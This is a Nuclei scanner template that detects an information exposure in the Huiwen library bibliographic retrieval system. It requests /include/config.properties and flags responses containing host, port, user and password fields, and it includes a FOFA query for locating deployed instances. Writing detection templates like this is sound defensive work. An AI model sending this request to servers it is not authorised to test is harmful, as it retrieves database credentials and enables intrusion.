id: huiwen-bibliographic-info-leak

info:
  name: Huiwen library bibliographic Retrieval System - Information Exposure
  author: SleepingBag945
  severity: high
  description: |
    Huiwen library bibliographic retrieval system /include/config.properties file contains sensitive information, attackers can directly access to obtain information
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="汇文软件-书目检索系统"
  tags: huiwen,exposure,misconfig,vuln

http:
  - raw:
      - |
        GET /include/config.properties HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "host="
          - "port="
          - "user="
          - "password="
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022057bcda5ed62dcb30aa98bcb5e6781874331f0d3466f2e70291af3b545f1e513d022100fa56734a63a89d8946346e7892cbfded84dc71d7fe9052a03e6edf1fd202b3fb:922c64590222798bb761d5b6d8e72950